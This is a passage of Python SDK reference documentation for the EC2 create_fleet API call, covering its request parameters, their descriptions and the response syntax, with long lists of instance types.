g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + } + }, + ] + }, + ], + TargetCapacitySpecification={ + 'TotalTargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'SpotTargetCapacity': 123, + 'DefaultTargetCapacityType': 'spot'|'on-demand' + }, + TerminateInstancesWithExpiration=True|False, + Type='request'|'maintain'|'instant', + ValidFrom=datetime(2015, 1, 1), + ValidUntil=datetime(2015, 1, 1), + ReplaceUnhealthyInstances=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +* **SpotOptions** (_dict_) -- + + Describes the configuration of Spot Instances in an EC2 Fleet. + + * **AllocationStrategy** _(string) --_ + + Indicates how to allocate the target Spot Instance capacity across the Spot Instance pools specified by the EC2 Fleet. + + If the allocation strategy is lowest-price , EC2 Fleet launches instances from the Spot Instance pools with the lowest price. This is the default allocation strategy. + + If the allocation strategy is diversified , EC2 Fleet launches instances from all of the Spot Instance pools that you specify. + + If the allocation strategy is capacity-optimized , EC2 Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + + * **MaintenanceStrategies** _(dict) --_ + + The strategies for managing your Spot Instances that are at an elevated risk of being interrupted. + + * **CapacityRebalance** _(dict) --_ + + The strategy to use when Amazon EC2 emits a signal that your Spot Instance is at an elevated risk of being interrupted. + + * **ReplacementStrategy** _(string) --_ + + The replacement strategy to use. Only available for fleets of type maintain . + + To allow EC2 Fleet to launch a replacement Spot Instance when an instance rebalance notification is emitted for an existing Spot Instance in the fleet, specify launch . You must specify a value, otherwise you get an error. + + Note + + When a replacement instance is launched, the instance marked for rebalance is not automatically terminated. You can terminate it, or you can leave it running. You are charged for all instances while they are running. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + * **InstancePoolsToUseCount** _(integer) --_ + + The number of Spot pools across which to allocate your target Spot capacity. Valid only when Spot **AllocationStrategy** is set to lowest-price . EC2 Fleet selects the cheapest Spot pools and evenly allocates your target Spot capacity across the number of Spot pools that you specify. + + * **SingleInstanceType** _(boolean) --_ + + Indicates that the fleet uses a single instance type to launch all Spot Instances in the fleet. Supported only for fleets of type instant . + + * **SingleAvailabilityZone** _(boolean) --_ + + Indicates that the fleet launches all Spot Instances into a single Availability Zone. Supported only for fleets of type instant . + + * **MinTargetCapacity** _(integer) --_ + + The minimum target capacity for Spot Instances in the fleet. If the minimum target capacity is not reached, the fleet launches no instances. + + * **MaxTotalPrice** _(string) --_ + + The maximum amount per hour for Spot Instances that you're willing to pay. + +* **OnDemandOptions** (_dict_) -- + + Describes the configuration of On-Demand Instances in an EC2 Fleet. + + * **AllocationStrategy** _(string) --_ + + The order of the launch template overrides to use in fulfilling On-Demand capacity. If you specify lowest-price , EC2 Fleet uses price to determine the order, launching the lowest price first. If you specify prioritized , EC2 Fleet uses the priority that you assigned to each launch template override, launching the highest priority first. If you do not specify a value, EC2 Fleet defaults to lowest-price . + + * **CapacityReservationOptions** _(dict) --_ + + The strategy for using unused Capacity Reservations for fulfilling On-Demand capacity. Supported only for fleets of type instant . + + * **UsageStrategy** _(string) --_ + + Indicates whether to use unused Capacity Reservations for fulfilling On-Demand capacity. + + If you specify use-capacity-reservations-first , the fleet uses unused Capacity Reservations to fulfill On-Demand capacity up to the target On-Demand capacity. If multiple instance pools have unused Capacity Reservations, the On-Demand allocation strategy (lowest-price or prioritized ) is applied. If the number of unused Capacity Reservations is less than the On-Demand target capacity, the remaining On-Demand target capacity is launched according to the On-Demand allocation strategy (lowest-price or prioritized ). + + If you do not specify a value, the fleet fulfils the On-Demand capacity according to the chosen On-Demand allocation strategy. + + * **SingleInstanceType** _(boolean) --_ + + Indicates that the fleet uses a single instance type to launch all On-Demand Instances in the fleet. Supported only for fleets of type instant . + + * **SingleAvailabilityZone** _(boolean) --_ + + Indicates that the fleet launches all On-Demand Instances into a single Availability Zone. Supported only for fleets of type instant . + + * **MinTargetCapacity** _(integer) --_ + + The minimum target capacity for On-Demand Instances in the fleet. If the minimum target capacity is not reached, the fleet launches no instances. + + * **MaxTotalPrice** _(string) --_ + + The maximum amount per hour for On-Demand Instances that you're willing to pay. + +* **ExcessCapacityTerminationPolicy** (_string_) -- Indicates whether running instances should be terminated if the total target capacity of the EC2 Fleet is decreased below the current size of the EC2 Fleet. +* **LaunchTemplateConfigs** (_list_) -- + + **[REQUIRED]** + + The configuration for the EC2 Fleet. + + * _(dict) --_ + + Describes a launch template and overrides. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template to use. You must specify either the launch template ID or launch template name in the request. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * _(dict) --_ + + Describes overrides for a launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The IDs of the subnets in which to launch the instances. Separate multiple subnet IDs using commas (for example, subnet-1234abcdeexample1, subnet-0987cdef6example2 ). A request of type instant can have only one subnet ID. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the launch template override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **TargetCapacitySpecification** (_dict_) -- + + **[REQUIRED]** + + The number of units to request. + + * **TotalTargetCapacity** _(integer) --_ **[REQUIRED]** + + The number of units to request, filled using DefaultTargetCapacityType . + + * **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. + + * **SpotTargetCapacity** _(integer) --_ + + The number of Spot units to request. + + * **DefaultTargetCapacityType** _(string) --_ + + The default TotalTargetCapacity , which is either Spot or On-Demand . + +* **TerminateInstancesWithExpiration** (_boolean_) -- Indicates whether running instances should be terminated when the EC2 Fleet expires. +* **Type** (_string_) -- + + The type of request. The default value is maintain . + + * maintain - The EC2 Fleet plaees an asynchronous request for your desired capacity, and continues to maintain your desired Spot capacity by replenishing interrupted Spot Instances. + * request - The EC2 Fleet places an asynchronous one-time request for your desired capacity, but does submit Spot requests in alternative capacity pools if Spot capacity is unavailable, and does not maintain Spot capacity if Spot Instances are interrupted. + * instant - The EC2 Fleet places a synchronous one-time request for your desired capacity, and returns errors for any instances that could not be launched. + + For more information, see [EC2 Fleet request types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-fleet-configuration-strategies.html#ec2-fleet-request-type) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **ValidFrom** (_datetime_) -- The start date and time of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). The default is to start fulfilling the request immediately. +* **ValidUntil** (_datetime_) -- The end date and time of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). At this point, no new EC2 Fleet requests are placed or able to fulfill the request. If no value is specified, the request remains until you cancel it. +* **ReplaceUnhealthyInstances** (_boolean_) -- Indicates whether EC2 Fleet should replace unhealthy instances. +* **TagSpecifications** (_list_) -- + + The key-value pair for tagging the EC2 Fleet request on creation. The value for ResourceType must be fleet , otherwise the fleet request fails. To tag instances at launch, specify the tags in the [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html#create-launch-template) . For information about tagging after launch, see [Tagging your resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html#tag-resources) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id89)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id91)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FleetId': 'string', + 'Errors': [ + { + 'LaunchTemplateAndOverrides': { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + } + }, + 'Lifecycle': 'spot'|'on-demand', + 'ErrorCode': 'string', + 'ErrorMessage': 'string' + }, + ], + 'Instances': [ + { + 'LaunchTemplateAndOverrides': { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'